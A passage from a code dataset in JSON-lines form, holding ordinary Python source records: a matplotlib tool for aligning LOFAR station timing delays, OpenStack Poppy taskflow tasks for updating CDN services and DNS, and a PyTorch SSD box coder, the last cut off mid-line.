plots\n\nref_plot = ()\nfirst_few_names = []\nref_plot_offset = 0.0\nref_plot_peak_location = 0.0\nset_stations = []\nStationCallBacks = []\n\n\nax = 0\n##~1\n\ndef plot_blocks(timeID, block_size, block_starts, guess_delays, guess_location = None, bad_stations=[], polarization_flips=\"polarization_flips.txt\",\n bad_antennas = \"bad_antennas.txt\", additional_antenna_delays = \"ant_delays.txt\", do_remove_saturation = True, do_remove_RFI = True,\n positive_saturation = 2046, negative_saturation = -2047, saturation_post_removal_length = 50, saturation_half_hann_length = 5,\n referance_station = \"CS002\", amplify = {}, omitPOL=None):\n \"\"\"plot multiple blocks, for guessing initial delays and finding pulses. If guess_location is None, then guess_delays should be apparent delays,\n if guess_location is a XYZT location, then guess_delays should be real delays. If a station isn't in guess_delays, its' delay is assumed to be zero.\n A station is only not plotted if it is bad_stations. If referance station is in guess_delays, then its delay is subtract from all stations\"\"\"\n\n '''Modified version of plot_multiple_data_all_stations to support usage of clickable GUI for aligning station timings'''\n\n\n##2\n global first_few_names\n global defualt_color\n global ax\n\n text = []\n##~2\n\n if referance_station in guess_delays:\n ref_delay = guess_delays[referance_station]\n guess_delays = {sname:delay-ref_delay for sname,delay in guess_delays.items()}\n\n processed_data_folder = processed_data_dir(timeID)\n\n polarization_flips = read_antenna_pol_flips( processed_data_folder + '/' + polarization_flips )\n bad_antennas = read_bad_antennas( processed_data_folder + '/' + bad_antennas )\n additional_antenna_delays = read_antenna_delays( processed_data_folder + '/' + additional_antenna_delays )\n\n\n raw_fpaths = filePaths_by_stationName(timeID)\n raw_data_files = {sname:MultiFile_Dal1(raw_fpaths[sname], force_metadata_ant_pos=True, polarization_flips=polarization_flips, bad_antennas=bad_antennas, additional_ant_delays=additional_antenna_delays) \\\n for sname in raw_fpaths.keys() if sname not in bad_stations}\n\n if guess_location is not None:\n guess_location = np.array(guess_location)\n\n ref_stat_file = raw_data_files[ referance_station ]\n ant_loc = ref_stat_file.get_LOFAR_centered_positions()[0]\n ref_delay = np.linalg.norm(ant_loc-guess_location[:3])/v_air - ref_stat_file.get_nominal_sample_number()*5.0E-9\n\n for sname, data_file in raw_data_files.items():\n if sname not in guess_delays:\n guess_delays[sname] = 0.0\n\n data_file = raw_data_files[sname]\n ant_loc = data_file.get_LOFAR_centered_positions()[0]\n guess_delays[sname] += (np.linalg.norm(ant_loc-guess_location[:3])/v_air - ref_delay)\n guess_delays[sname] -= data_file.get_nominal_sample_number()*5.0E-9\n\n RFI_filters = {sname:window_and_filter(timeID=timeID,sname=sname) for sname in raw_fpaths.keys() if sname not in bad_stations}\n #RFI_filters = {sname:window_and_filter(timeID=timeID,sname=sname, blocksize=block_size) for sname in raw_fpaths.keys() if sname not in bad_stations}\n\n data = np.empty(block_size, dtype=np.double)\n\n\n##3\n #fig = plt.figure(figsize=(10, 12))\n fig, ax = plt.subplots()\n\n for sname, data_file in raw_data_files.items():\n #print(\"Loading: \"+ sname)\n if referance_station in sname:\n ref_plot = (sname, data_file)\n #ref_plot_offset = guess_delays[sname] #currently unsed\n else:\n plots.append((sname, data_file))\n\n\n first_few = [ref_plot]\n for p in range(0,Nplots-1):\n first_few.append(plots.pop(0))\n\n\n for sname, data_file in first_few:\n if sname != referance_station:\n first_few_names.append(sname)\n##~3\n\n##4\n def more_plots(some_data,First,ax,text):\n global l,m\n ax.clear()\n\n height = 0\n t0 = np.arange(block_size)*5.0E-9\n transform = blended_transform_factory(plt.gca().transAxes, plt.gca().transData)\n sname_X_loc = 0.0\n n = 0\n for sname, data_file in some_data:\n\n print(\"Plotting: \"+sname)\n\n station_delay = -data_file.get_nominal_sample_number()*5.0E-9\n if sname in guess_delays:\n station_delay = guess_delays[sname]\n\n station_delay_points = int(station_delay/5.0E-9)\n\n RFI_filter = RFI_filters[sname]\n ant_names = data_file.get_antenna_names()\n\n num_antenna_pairs = int( len( ant_names )/2 )\n peak_height = 0.0\n\n print(\"Block starts at: \"+str(block_starts[0]))\n for point in block_starts:\n T = t0 + point*5.0E-9\n for pair in range(num_antenna_pairs):\n data[:] = data_file.get_data(point+station_delay_points, block_size, antenna_index=pair*2)\n\n if do_remove_saturation:\n remove_saturation(data, positive_saturation, negative_saturation, saturation_post_removal_length, saturation_half_hann_length)\n if do_remove_RFI:\n filtered_data = RFI_filter.filter( data )\n else:\n filtered_data = hilbert(data)\n even_HE = np.abs(filtered_data)\n\n data[:] = data_file.get_data(point+station_delay_points, block_size, antenna_index=pair*2+1)\n if do_remove_saturation:\n remove_saturation(data, positive_saturation, negative_saturation, saturation_post_removal_length, saturation_half_hann_length)\n if do_remove_RFI:\n filtered_data = RFI_filter.filter( data )\n else:\n filtered_data = hilbert(data)\n odd_HE = np.abs(filtered_data)\n\n #ax.plot(T, even_HE + height, 'r')\n #ax.plot(T, odd_HE + height, 'g' )\n\n #for cases where data are hard to align due to signal being tiny:\n found = False\n if len(amplify) > 0:\n for key in amplify:\n if sname == key:\n\n if omitPOL != 0:\n ax.plot(T, amplify[key]*even_HE + height, 'r')\n if omitPOL != 1:\n ax.plot(T, amplify[key]*odd_HE + height, 'g' )\n\n #ax.plot(T, amplify[key]*even_HE + height, 'r') twinx with block_starts && point as x rather than t! (can I update to latests plot_multiple?)\n #ax.plot(T, amplify[key]*odd_HE + height, 'g' )\n\n found = True\n if not found:\n if omitPOL != 0:\n ax.plot(T, even_HE + height, 'r')\n if omitPOL != 1:\n ax.plot(T, odd_HE + height, 'g' )\n #ax2 = ax.twiny()\n #xmin = min(block_starts)\n #xmax = max(block_starts)\n #ax2.set_xlim(xmin, xmax) #can also use ax2.set_xticks(x)\n #ax2.xaxis.set_ticks_position('both')\n\n max_even = np.max(even_HE)\n if max_even > peak_height:\n peak_height = max_even\n max_odd = np.max(odd_HE)\n if max_odd > peak_height:\n peak_height = max_odd\n\n# plt.annotate(sname, (points[-1]*5.0E-9+t0[-1], height))\n plt.sca(ax) #somehow this makes it so that the annotations work on all plots except for the first time \"Next stations\" is clicked\n plt.annotate(sname, (sname_X_loc, height), textcoords=transform, xycoords=transform)\n\n ax.ticklabel_format(useOffset=False)\n plt.setp(ax.get_xticklabels(), rotation=60, horizontalalignment='right')\n plt.subplots_adjust(bottom=0.1,top=0.98,left=0.21)\n if ref_plot_peak_location != 0.0:\n print(\"Setting ref peak to \" +str(ref_plot_peak_location))\n Cpeak = ref_plot_peak_location #peak center, for plotting\n Dpeak = 0.0001 # +/- added to peak center for plotting\n plt.xlim(Cpeak-Dpeak,Cpeak+Dpeak)\n plt.grid(b=True)\n\n height += 2*peak_height\n n+=1\n##~4\n\n\n\n\n\n##5\n#######################CallBacks############################\n#######################CallBacks############################\n#######################CallBacks############################\n def onclick(event):\n global stations_active\n global station_buttons\n global ref_plot_peak_location\n global set_ref\n global set_stations\n global default_color\n ix = event.xdata\n iy = event.ydata\n #print(\"click active stations: \", stations_active)\n falsify = []\n\n if set_ref:\n ref_plot_peak_location = ix\n print(\"Set ref peak to: \"+str(ref_plot_peak_location))\n set_ref = False\n return #return, don't set anything else!\n n=0\n for s in stations_active.keys():\n if stations_active[s] and s !=\"\":\n falsify.append(s)\n if s not in guess_delays.keys():\n guess_delays[s] = 0.0\n print (\"Set \" + s + \" station delay to: \", guess_delays[s] + (ix-ref_plot_peak_location))\n tmp_guess_delays[s] = guess_delays[s] + (ix - ref_plot_peak_location)\n\n station_buttons[n].color = default_color\n station_buttons[n].hovercolor = default_color\n\n n+=1\n\n if len(falsify)>0:\n for f in falsify:\n stations_active[f] = False\n falsify = []\n plt.draw()\n\n\n def nextCB(event):\n global ax\n global plots\n global station_buttons\n global stations_active\n global StationCallBacks\n print(\"next!\")\n\n stations_active = {}\n next_few = [ref_plot]\n if len(plots) >= Nplots:\n for i in range(0,Nplots-1):\n next_few.append(plots.pop(0))\n elif len(plots) > 0:\n bk = len(plots)\n for i in range(0,len(plots)):\n next_few.append(plots.pop(0))\n for i in range(bk,4):\n StationCallBacks[i].reset(i,\"\")\n station_buttons[i].label.set_text(\"\")\n\n else:\n next_few = []\n for i in range(0,Nplots-1):\n StationCallBacks[i].reset(i,\"\")\n station_buttons[i].label.set_text(\"\")\n print(\"All stations timings have been set\")\n ax.clear()\n ax.annotate(\"All stations timings have been set\", (0.5, 0.5))\n plt.draw()\n return\n\n height = 0.0\n n = 0\n for sname, data_file in next_few:\n\n if sname != referance_station:\n first_few_names.append(sname)\n StationCallBacks[n].reset(n,sname)\n station_buttons[n].label.set_text(\"Set \"+sname)\n stations_active[sname] = False\n n+=1\n\n more_plots(next_few,False,ax,text)\n plt.draw()\n\n\n def refpCB(event):\n global ref_plot_peak_location\n global set_ref\n print (\"Setting ref peak\")# to: \",ix)\n set_ref = True\n\n def cCB(text):\n Cpeak = float(text) #peak center, for plotting\n Dpeak = 0.0001 # +/- added to peak center for plotting\n plt.xlim(Cpeak+Dpeak,Cpeak-Dpeak)\n plt.draw()\n\n def writeCB(event):\n print('Writing guess station delays')\n file = open('guess_delays.py','w')\n file.write(\"\\n self.guess_timing = \" +str(ref_plot_peak_location) + \"\\n\")\n #file.write(\" self.event_index = ____\\n\\n\")\n file.write(' self.guess_station_delays = {\\n')\n for g in guess_delays:\n if g in tmp_guess_delays:\n '''If the delay has been updated, write the update:'''\n file.write('\"'+g+'\": '+str(tmp_guess_delays[g])+',\\n')\n else:\n \"\"\"Else, just write the old delay:\"\"\"\n file.write('\"'+g+'\": '+str(guess_delays[g])+',\\n')\n file.write('}\\n')\n print('Done!\\n')\n\n\n def press(event):\n val = event.key\n print('press', val)\n '''if val == ('0' or '1' or '2' or '3' or '4'):\n val = int(val)\n station_buttons[val].color = 'blue'\n station_buttons[val] .hovercolor = 'blue'\n '''\n\n\n class StationCB:\n global stations_active\n def __init__(self,np,station):\n self.N = np\n self.station = station\n\n def reset(self,np,station):\n self.N = np\n self.station = station\n\n def stationCB(self,event):\n print(\"Station active: \"+self.station)\n #print(self.station + ' You pressed: ',event.name)\n #---highlight button with color when pressed state, show buttons in correct order\n station_buttons[self.N].color = 'blue'\n station_buttons[self.N].hovercolor = 'blue'\n stations_active[self.station] = True\n######################~CallBacks############################\n######################~CallBacks############################\n######################~CallBacks############################\n\n more_plots(first_few,True,ax,text)\n\n axnext = plt.axes([ 0.05, 0.80, 0.1, 0.07])\n bnext = Button(axnext, 'Next\\nStations')\n bnext.on_clicked(nextCB)\n\n axfile = plt.axes([0.05,0.7, 0.1, 0.07])\n bfile = Button(axfile, 'Write\\nGuesses')\n bfile.on_clicked(writeCB)\n\n axref = plt.axes([0.05, 0.1, 0.13, 0.07])\n bref= Button(axref, 'Set\\nRef Peak')\n bref.on_clicked(refpCB)\n\n #Cbox = plt.axes([0.05, 0.6, 0.1, 0.07])\n #text_box = TextBox(Cbox, 'Peak Center', initial=\"\")\n #text_box.on_submit(cCB)\n\n start = 0.22\n for f in range(0,Nplots-1):\n fax = plt.axes([ 0.05, start+f*0.1, 0.13, 0.05])\n fbtn = Button(fax, \"Set \"+first_few_names[f])\n stations_active[first_few_names[f]] = False\n s = StationCB(f,first_few_names[f])\n StationCallBacks.append(s)\n station_axes.append(fax)\n station_buttons.append(fbtn)\n fbtn.on_clicked(s.stationCB)\n\n fig.canvas.mpl_connect('button_press_event', onclick)\n fig.canvas.mpl_connect('key_press_event', press)\n\n plt.show()\n##~5\n","sub_path":"LIM_scripts/stationTimings/clickable_plot_multiple_data_all_stations.py","file_name":"clickable_plot_multiple_data_all_stations.py","file_ext":"py","file_size_in_byte":15124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"154129405","text":"# Copyright (c) 2015 Rackspace, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n# implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom __future__ import division\n\nimport json\nimport time\n\nfrom oslo_config import cfg\nfrom oslo_context import context as context_utils\nfrom oslo_log import log\nfrom taskflow import task\n\nfrom poppy.distributed_task.taskflow.flow import delete_ssl_certificate\nfrom poppy.distributed_task.taskflow.task import common\nfrom poppy.distributed_task.utils import exc_loader\nfrom poppy.distributed_task.utils import memoized_controllers\nfrom poppy.model.helpers import provider_details\nfrom poppy.transport.pecan.models.request import service\n\n\nLOG = log.getLogger(__name__)\n\nconf = cfg.CONF\nconf(project='poppy', prog='poppy', args=[])\n\nDNS_OPTIONS = [\n cfg.IntOpt('retries', default=5,\n help='Total number of Retries after Exponentially Backing Off')\n]\n\nDNS_GROUP = 'driver:dns'\n\nconf.register_opts(DNS_OPTIONS, group=DNS_GROUP)\n\n\nclass UpdateProviderServicesTask(task.Task):\n default_provides = \"responders\"\n\n def execute(self, service_old, service_obj):\n service_controller = memoized_controllers.task_controllers('poppy')\n\n service_old_json = json.loads(service_old)\n service_obj_json = json.loads(service_obj)\n\n service_old = service.load_from_json(service_old_json)\n service_obj = service.load_from_json(service_obj_json)\n\n responders = []\n # update service with each provider present in provider_details\n for provider in service_old.provider_details:\n LOG.info(u'Starting to update service from {0}'.format(provider))\n responder = service_controller.provider_wrapper.update(\n service_controller._driver.providers[provider.lower()],\n service_old.provider_details, service_obj)\n responders.append(responder)\n LOG.info(u'Updating service from {0} complete'.format(provider))\n\n return responders\n\n\nclass UpdateServiceDNSMappingTask(task.Task):\n default_provides = \"dns_responder\"\n\n def execute(self, responders, retry_sleep_time,\n service_old, service_obj, project_id, service_id):\n service_controller, dns = \\\n memoized_controllers.task_controllers('poppy', 'dns')\n service_obj_json = json.loads(service_obj)\n service_obj = service.load_from_json(service_obj_json)\n service_old_json = json.loads(service_old)\n service_old = service.load_from_json(service_old_json)\n dns_responder = dns.update(service_old, service_obj, responders)\n\n for provider_name in dns_responder:\n try:\n if 'error' in dns_responder[provider_name]:\n msg = 'Update DNS for {0} ' \\\n 'failed!'.format(provider_name)\n LOG.info(msg)\n if 'error_class' in dns_responder[provider_name]:\n exception_repr = \\\n dns_responder[provider_name]['error_class']\n exception_class = exc_loader(exception_repr)\n\n if any([exception_class == exception for\n exception in dns._driver.retry_exceptions]):\n LOG.info('Due to {0} Exception, '\n 'Task {1} will '\n 'be retried'.format(exception_class,\n self.__class__))\n raise exception_class(msg)\n else:\n LOG.info(\"DNS Update Successful \"\n \"for Provider {0} : \"\n \"{1}\".format(provider_name,\n dns_responder[provider_name]))\n except KeyError:\n # NOTE(TheSriram): This means the provider updates failed, and\n # just access_urls were returned\n pass\n\n return dns_responder\n\n def revert(self, responders, retry_sleep_time,\n service_old, service_obj,\n project_id, service_id, **kwargs):\n if self.name in kwargs['flow_failures'].keys():\n retries = conf[DNS_GROUP].retries\n current_progress = (1.0 / retries)\n if hasattr(self, 'retry_progress') \\\n and hasattr(self, 'retry_index'):\n self.retry_index = self.retry_index + 1\n self.retry_progress = current_progress * self.retry_index\n if not hasattr(self, 'retry_progress') \\\n and not hasattr(self, 'retry_index'):\n self.retry_progress = current_progress\n self.retry_index = 1\n if self.retry_progress == 1.0:\n LOG.warning(\n 'Maximum retry attempts of '\n '{0} reached for Task {1}'.format(retries, self.name))\n LOG.warning(\n 'Setting of state of service_id: '\n '{0} and project_id: {1} '\n 'to failed'.format(service_id, project_id))\n provider_details_dict = {}\n result = kwargs['result']\n\n service_controller, self.storage_controller = \\\n memoized_controllers.task_controllers('poppy', 'storage')\n service_obj_json = json.loads(service_obj)\n service_obj = service.load_from_json(service_obj_json)\n\n for responder in responders:\n for provider_name in responder:\n provider_service_id = (\n service_controller._driver.\n providers[provider_name.lower()].obj.\n service_controller.\n get_provider_service_id(service_obj))\n provider_details_dict[provider_name] = (\n provider_details.ProviderDetail(\n provider_service_id=provider_service_id,\n error_info=result.traceback_str,\n status='failed',\n error_message='Failed after '\n '{0} DNS '\n 'retries'.format(retries),\n error_class=str(result.exc_info[0])))\n\n # serialize provider_details_dict\n for provider_name in provider_details_dict:\n provider_details_dict[provider_name] = (\n provider_details_dict[provider_name].to_dict())\n\n update_provider_details = common.UpdateProviderDetailTask()\n update_provider_details.execute(provider_details_dict,\n project_id,\n service_id)\n else:\n LOG.warning('Sleeping for {0} seconds and '\n 'retrying'.format(retry_sleep_time))\n if retry_sleep_time is not None:\n time.sleep(retry_sleep_time)\n\n\nclass UpdateLogDeliveryContainerTask(task.Task):\n default_provides = \"log_responders\"\n\n def execute(self, project_id, auth_token, service_old, service_obj):\n service_old_json = json.loads(service_old)\n service_obj_json = json.loads(service_obj)\n\n # check if log delivery is enabled in this PATCH\n if service_old_json['log_delivery']['enabled']:\n return\n if not service_obj_json['log_delivery']['enabled']:\n return\n\n log_responders = common.create_log_delivery_container(\n project_id, auth_token)\n\n return log_responders\n\n\nclass GatherProviderDetailsTask(task.Task):\n default_provides = \"provider_details_dict_errors_tuple\"\n\n def execute(self, responders, dns_responder, log_responders, project_id,\n service_id, service_obj):\n\n service_controller, self.storage_controller = \\\n memoized_controllers.task_controllers('poppy', 'storage')\n service_obj_json = json.loads(service_obj)\n service_obj = service.load_from_json(service_obj_json)\n # gather links and status for service from providers\n error_flag = False\n error_class = None\n provider_details_dict = {}\n for responder in responders:\n for provider_name in responder:\n domains_certificate_status = responder[provider_name].get(\n 'domains_certificate_status', {})\n if 'error' in responder[provider_name]:\n error_flag = True\n provider_details_dict[provider_name] = (\n provider_details.ProviderDetail(\n status='failed',\n domains_certificate_status=(\n domains_certificate_status),\n error_message=responder[provider_name]['error'],\n error_info=responder[provider_name]['error_detail']\n ))\n elif 'error' in dns_responder[provider_name]:\n error_flag = True\n error_msg = dns_responder[provider_name]['error']\n error_info = dns_responder[provider_name]['error_detail']\n if 'error_class' in dns_responder[provider_name]:\n # stores the error class for debugging purposes.\n error_class = dns_responder[provider_name].get(\n 'error_class')\n provider_details_dict[provider_name] = (\n provider_details.ProviderDetail(\n error_info=error_info,\n status='failed',\n domains_certificate_status=(\n domains_certificate_status),\n error_message=error_msg,\n error_class=error_class))\n else:\n access_urls = dns_responder[provider_name]['access_urls']\n if log_responders:\n if not any('log_delivery' in access_url\n for access_url in access_urls):\n access_urls.append({'log_delivery':\n log_responders})\n provider_details_dict[provider_name] = (\n provider_details.ProviderDetail(\n provider_service_id=responder[provider_name]['id'],\n domains_certificate_status=(\n domains_certificate_status),\n access_urls=access_urls))\n if 'status' in responder[provider_name]:\n provider_details_dict[provider_name].status = (\n responder[provider_name]['status'])\n else:\n provider_details_dict[provider_name].status = (\n 'deployed')\n\n # serialize provider_details_dict\n for provider_name in provider_details_dict:\n provider_details_dict[provider_name] = (\n provider_details_dict[provider_name].to_dict())\n\n self.storage_controller.update_service(\n project_id,\n service_id,\n service_obj\n )\n\n provider_details_dict_error_tuple = (provider_details_dict, error_flag)\n\n return provider_details_dict_error_tuple\n\n def revert(self, *args, **kwargs):\n try:\n if getattr(self, 'storage_controller') \\\n and self.storage_controller._driver.session:\n self.storage_controller._driver.close_connection()\n LOG.info('Cassandra session being shutdown')\n except AttributeError:\n LOG.info('Cassandra session already shutdown')\n\n\nclass UpdateProviderDetailsTask_Errors(task.Task):\n\n def execute(self, provider_details_dict_error_tuple, project_id,\n service_id, service_old, service_obj):\n\n (provider_details_dict, error_flag) = provider_details_dict_error_tuple\n service_controller, self.storage_controller = \\\n memoized_controllers.task_controllers('poppy', 'storage')\n service_old_json = json.loads(service_old)\n service_old = service.load_from_json(service_old_json)\n service_obj_json = json.loads(service_obj)\n service_obj = service.load_from_json(service_obj_json)\n # de-serialize provider_details_dict\n provider_details_dict = dict([\n (k, provider_details.ProviderDetail.init_from_dict(detail))\n for k, detail\n in provider_details_dict.items()])\n\n # save old provider details\n old_provider_details = service_old.provider_details\n if error_flag:\n # update the old provider details with errors\n for provider_name in provider_details_dict:\n error_info = provider_details_dict[provider_name].error_info\n error_message = \\\n provider_details_dict[provider_name].error_message\n old_provider_details[provider_name].error_info = error_info\n old_provider_details[provider_name].error_message = \\\n error_message\n old_provider_details[provider_name].status = 'failed'\n service_obj.provider_details = old_provider_details\n\n else:\n # update the provider details\n service_obj.provider_details = provider_details_dict\n\n for domain in service_obj.domains:\n if hasattr(domain, 'cert_info'):\n # we don't want store cert_info in database\n # just generate it on demand\n delattr(domain, 'cert_info')\n\n # update the service object\n LOG.info(\"Service to be updated to {0} \"\n \"for project_id: {1} \"\n \"and service_id: {2}\".format(service_obj.to_dict(),\n project_id,\n service_id))\n self.storage_controller.update_service(\n project_id,\n service_id,\n service_obj\n )\n LOG.info('Update provider detail service worker process complete...')\n\n def revert(self, *args, **kwargs):\n try:\n if getattr(self, 'storage_controller') \\\n and self.storage_controller._driver.session:\n self.storage_controller._driver.close_connection()\n LOG.info('Cassandra session being shutdown')\n except AttributeError:\n LOG.info('Cassandra session already shutdown')\n\n\nclass DeleteCertsForRemovedDomains(task.Task):\n \"\"\"Delete certificates domains deleted during service update.\"\"\"\n\n def execute(self, service_old, service_obj, project_id):\n service_controller, dns = \\\n memoized_controllers.task_controllers('poppy', 'dns')\n\n # get old domains\n service_old_json = json.loads(service_old)\n service_old = service.load_from_json(service_old_json)\n old_domains = set([\n domain.domain for domain in service_old.domains\n if domain.protocol == 'https'\n and\n domain.certificate in ['san', 'sni']\n ])\n\n # get new domains\n service_new_json = json.loads(service_obj)\n service_new = service.load_from_json(service_new_json)\n new_domains = set([\n domain.domain for domain in service_new.domains\n if domain.protocol == 'https'\n and\n domain.certificate in ['san', 'sni']\n ])\n\n removed_domains = old_domains.difference(new_domains)\n\n LOG.info(\"update_service Old domains: {0}\".format(old_domains))\n LOG.info(\"update_service New domains: {0}\".format(new_domains))\n LOG.info(\"update_service Deleted domains: {0}\".format(removed_domains))\n\n kwargs = {\n 'project_id': project_id,\n 'cert_type': 'san',\n 'context_dict': context_utils.get_current().to_dict(),\n 'flavor_id': service_new.flavor_id,\n 'providers_list': service_new.provider_details.keys()\n }\n\n for domain in removed_domains:\n kwargs['domain_name'] = domain\n LOG.info(\n \"update_service removing certificate \"\n \"for deleted domain {0}\".format(domain)\n )\n service_controller.distributed_task_controller.submit_task(\n delete_ssl_certificate.delete_ssl_certificate,\n **kwargs\n )\n","sub_path":"poppy/distributed_task/taskflow/task/update_service_tasks.py","file_name":"update_service_tasks.py","file_ext":"py","file_size_in_byte":17399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"156517655","text":"import torch\nimport torch.nn.functional as F\nimport torchvision.transforms as transforms\n\nfrom PIL import Image, ImageDraw\nfrom torch.autograd import Variable\nimport torch.nn as nn\n#from torchcv.models.fpnssd import FPNSSD512\n# from torchcv.models.ssd import SSDBoxCoder\n\nimport itertools,math\n\ndef box_nms(bboxes, scores, threshold=0.5):\n '''Non maximum suppression.\n\n Args:\n bboxes: (tensor) bounding boxes, sized [N,4].\n scores: (tensor) confidence scores, sized [N,].\n threshold: (float) overlap threshold.\n\n Returns:\n keep: (tensor) selected indices.\n\n Reference:\n https://github.com/rbgirshick/py-faster-rcnn/blob/master/lib/nms/py_cpu_nms.py\n '''\n x1 = bboxes[:,0]\n y1 = bboxes[:,1]\n x2 = bboxes[:,2]\n y2 = bboxes[:,3]\n\n areas = (x2-x1) * (y2-y1)\n _, order = scores.sort(0, descending=True)\n\n keep = []\n while order.numel() > 0:\n if order.numel() == 1:\n break\n #print(order.numel())\n i = order[0].item()\n keep.append(i)\n\n\n xx1 = x1[order[1:]].clamp(min=x1[i].item())\n yy1 = y1[order[1:]].clamp(min=y1[i].item())\n xx2 = x2[order[1:]].clamp(max=x2[i].item())\n yy2 = y2[order[1:]].clamp(max=y2[i].item())\n\n w = (xx2-xx1).clamp(min=0)\n h = (yy2-yy1).clamp(min=0)\n inter = w * h\n\n overlap = inter / (areas[i] + areas[order[1:]] - inter)\n ids = (overlap<=threshold).nonzero().squeeze()\n if ids.numel() == 0:\n break\n order = order[ids+1]\n return torch.tensor(keep, dtype=torch.long)\n\nclass SSDBoxCoder:\n def __init__(self, ssd_model):\n self.steps = ssd_model.steps\n self.box_sizes = ssd_model.box_sizes\n self.aspect_ratios = ssd_model.aspect_ratios\n self.fm_sizes = ssd_model.fm_sizes\n self.default_boxes = self._get_default_boxes()\n\n def _get_default_boxes(self):\n boxes = []\n for i, fm_size in enumerate(self.fm_sizes):\n for h, w in itertools.product(range(fm_size), repeat=2):\n cx = (w + 0.5) * self.steps[i]\n cy = (h + 0.5) * self.steps[i]\n\n s = self.box_sizes[i]\n boxes.append((cx, cy, s, s))\n\n s = math.sqrt(self.box_sizes[i] * self.box_sizes[i+1])\n boxes.append((cx, cy, s, s))\n\n s = self.box_sizes[i]\n for ar in self.aspect_ratios[i]:\n boxes.append((cx, cy, s * math.sqrt(ar), s / math.sqrt(ar)))\n boxes.append((cx, cy, s / math.sqrt(ar), s * math.sqrt(ar)))\n return torch.Tensor(boxes) # xywh\n\n def encode(self, boxes, labels):\n '''Encode target bounding boxes and class labels.\n\n SSD coding rules:\n tx = (x - anchor_x) / (variance[0]*anchor_w)\n ty = (y - anchor_y) / (variance[0]*anchor_h)\n tw = log(w / anchor_w) / variance[1]\n th = log(h / anchor_h) / variance[1]\n\n Args:\n boxes: (tensor) bounding boxes of (xmin,ymin,xmax,ymax), sized [#obj, 4].\n labels: (tensor) object class labels, sized [#obj,].\n\n Returns:\n loc_targets: (tensor) encoded bounding boxes, sized [#anchors,4].\n cls_targets: (tensor) encoded class labels, sized [#anchors,].\n\n Reference:\n https://github.com/chainer/chainercv/blob/master/chainercv/links/model/ssd/multibox_coder.py\n '''\n def argmax(x):\n '''Find the max value index(row & col) of a 2D tensor.'''\n v, i = x.max(0)\n j = v.max(0)[1].item()\n return (i[j], j)\n\n default_boxes = self.default_boxes # xywh\n default_boxes = change_box_order(default_boxes, 'xywh2xyxy')\n\n ious = box_iou(default_boxes, boxes) # [#anchors, #obj]\n index = torch.LongTensor(len(default_boxes)).fill_(-1)\n masked_ious = ious.clone()\n while True:\n i, j = argmax(masked_ious)\n if masked_ious[i,j] < 1e-6:\n break\n index[i] = j\n masked_ious[i,:] = 0\n masked_ious[:,j] = 0\n\n mask = (index<0) & (ious.max(1)[0]>=0.5)\n #if mask.any():\n # index[mask] = ious[mask.nonzero().squeeze()].max(1)[1]\n if mask.any():\n index[mask] = ious[mask].max(1)[1]\n\n boxes = boxes[index.clamp(min=0)] # negative index not supported\n boxes = change_box_order(boxes, 'xyxy2xywh')\n default_boxes = change_box_order(default_boxes, 'xyxy2xywh')\n\n variances = (0.1, 0.2)\n loc_xy = (boxes[:,:2]-default_boxes[:,:2]) / default_boxes[:,2:] / variances[0]\n loc_wh = torch.log(boxes[:,2:]/default_boxes[:,2:]) / variances[1]\n loc_targets = torch.cat([loc_xy,loc_wh], 1)\n cls_targets = 1 + labels[index.clamp(min=0)]\n cls_targets[index<0] = 0\n return loc_targets, cls_targets\n\n def decode(self, loc_preds, cls_preds, score_thresh=0.2, nms_thresh=0.45):\n '''Decode predicted loc/cls back to real box locations and class labels.\n\n Args:\n loc_preds: (tensor) predicted loc, sized [8732,4].\n cls_preds: (tensor) predicted conf, sized [8732,21].\n score_thresh: (float) threshold for object confidence score.\n nms_thresh: (float) threshold for box nms.\n\n Returns:\n boxes: (tensor) bbox locations, sized [#obj,4].\n labels: (tensor) class labels, sized [#obj,].\n '''\n variances = (0.1, 0.2)\n xy = loc_preds[:,:2] * variances[0] * self.default_boxes[:,2:] + self.default_boxes[:,:2]\n wh = torch.exp(loc_preds[:,2:]*variances[1]) * self.default_boxes[:,2:]\n box_preds = torch.cat([xy-wh/2, xy+wh/2], 1)\n\n boxes = []\n labels = []\n scores = []\n num_classes = cls_preds.size(1)\n for i in range(num_classes-1):\n score = cls_preds[:,i+1] # class i corresponds to (i+1) column\n mask = score > score_thresh\n if not mask.any():\n continue\n idxs = mask.nonzero().squeeze()\n if len(idxs.shape)==0:\n box = box_preds[None,idxs,:]\n else:\n box = box_preds[idxs,:]\n\n score = score[mask]\n \n keep = box_nms(box, score, nms_thresh)\n boxes.append(box[keep])\n labels.append(torch.LongTensor(len(box[keep])).fill_(i))\n scores.append(score[keep])\n\n boxes = torch.cat(boxes, 0)\n labels = torch.cat(labels, 0)\n scores = torch.cat(scores, 0)\n return boxes, labels, scores\n\nclass VGG16(nn.Module):\n def __init__(self):\n super(VGG16, self).__init__()\n self.layers = self._make_layers()\n\n def forward(self, x):\n y = self.layers(x)\n return y\n\n def _make_layers(self):\n '''VGG16 layers.'''\n cfg = [64, 64, 'M', 128, 128, 'M', 256, 256, 256, 'M', 512, 512, 512]\n layers = []\n in_channels = 3\n for x in cfg:\n if x == 'M':\n layers += [nn.MaxPool2d(kernel_size=2, stride=2, ceil_mode=True)]\n else:\n layers += [nn.Conv2d(in_channels, x, kernel_size=3, padding=1),\n nn.ReLU(True)]\n in_channels = x\n return nn.Sequential(*layers)\n\n\nclass L2Norm(nn.Module):\n '''L2Norm layer across all channels.'''\n def __init__(self, in_features, scale):\n super(L2Norm, self).__init__()\n self.weight = nn.Parameter(torch.Tensor(in_features))\n self.reset_parameters(scale)\n\n def reset_parameters(self, scale):\n nn.init.constant(self.weight, scale)\n\n def forward(self, x):\n x = F.normalize(x, dim=1)\n scale = self.weight[None,:,None,None]\n return scale * x\n\n\n\nclass VGG16Extractor512(nn.Module):\n def __init__(self):\n super(VGG16Extractor512, self).__init__()\n\n self.features = VGG16()\n self.norm4 = L2Norm(512, 20)\n\n self.conv5_1 = nn.Conv2d(512, 512, kernel_size=3, padding=1, dilation=1)\n self.conv5_2 = 